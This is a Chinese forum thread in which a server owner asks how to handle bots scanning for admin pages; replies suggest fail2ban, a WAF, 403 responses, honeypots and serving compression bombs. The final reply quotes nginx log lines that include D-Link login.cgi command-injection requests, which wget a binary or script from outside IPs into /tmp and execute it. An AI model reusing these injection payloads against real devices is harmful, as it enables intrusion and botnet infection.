服务器被扫后台怎么办？

[alvin666]

一打开 web 日志全是类似的内容，查了下大部分是国内的云服务器。

感觉现在再加到黑名单里面也没用了。

所以该怎么办？蜜罐？比如请求 /phpmyadmin 就直接封 ip ？还是哪里有国内云服务器的 ip 列表，全屏蔽了算了。

[letitbesqzr]

不知道楼主在怕啥，怕流量耗完了？

[cpdyj0]

楼主要是愿意就 ban ip 呗，根据访问频率 ban ip

[glouhao]

没流量的网站流量全靠他们了

[boris1993]

返回 HTTP 403 没啥问题
嫌恶心要么脑内过滤，要么上 fail2ban 之类的玩意

[AlisaDestiny]

正常现象，就像别人路过你家门口随手推一下门看能不能打开一样。
做好基本防范就够了。

[s609926202]

我也有这个问题

[puritania]

nginx 装个 waf

[ysc3839]

你网站要是不用 PHP 的话，把所有 PHP 后缀的请求都返回个压缩炸弹。如果是只有一个 index.php 入口的也可以设置成非 index.php 返回。

压缩炸弹指的是把非常大的空白数据压缩，一般来说可以压缩得很小，解压时会占用很大的内存。

[misaka19000]

可以放个蜜罐？

[whoami9894]

设置一下把所有 404 的目录返回 200

[1v9]

巧了，我也有一堆
```
89.248.174.141 - - [17/Jan/2019:21:35:31 +0800] "GET /.git/config HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"
151.95.13.123 - - [17/Jan/2019:22:58:48 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.230.29.251/bins/Solar.mips%20-O%20->%20/tmp/.Solar;chmod%20777%20/tmp/.Solar;/tmp/.Solar%20dlink%27$ HTTP/1.1" 400 157 "-" "Solar/2.0"
209.17.97.114 - - [18/Jan/2019:00:31:55 +0800] "GET / HTTP/1.1" 400 255 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"127.0.0.1 - - [18/Jan/2019:01:12:15 +0800] "GET / HTTP/1.1" 401 179 "-" "-"
116.9.5.92 - - [18/Jan/2019:02:07:02 +0800] "GET /phpmyadmin HTTP/1.1" 444 0 "http://104.168.142.126/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
79.44.88.130 - - [18/Jan/2019:07:22:29 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.222.202.118/dlink.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 157 "-" "Rift/2.0"
```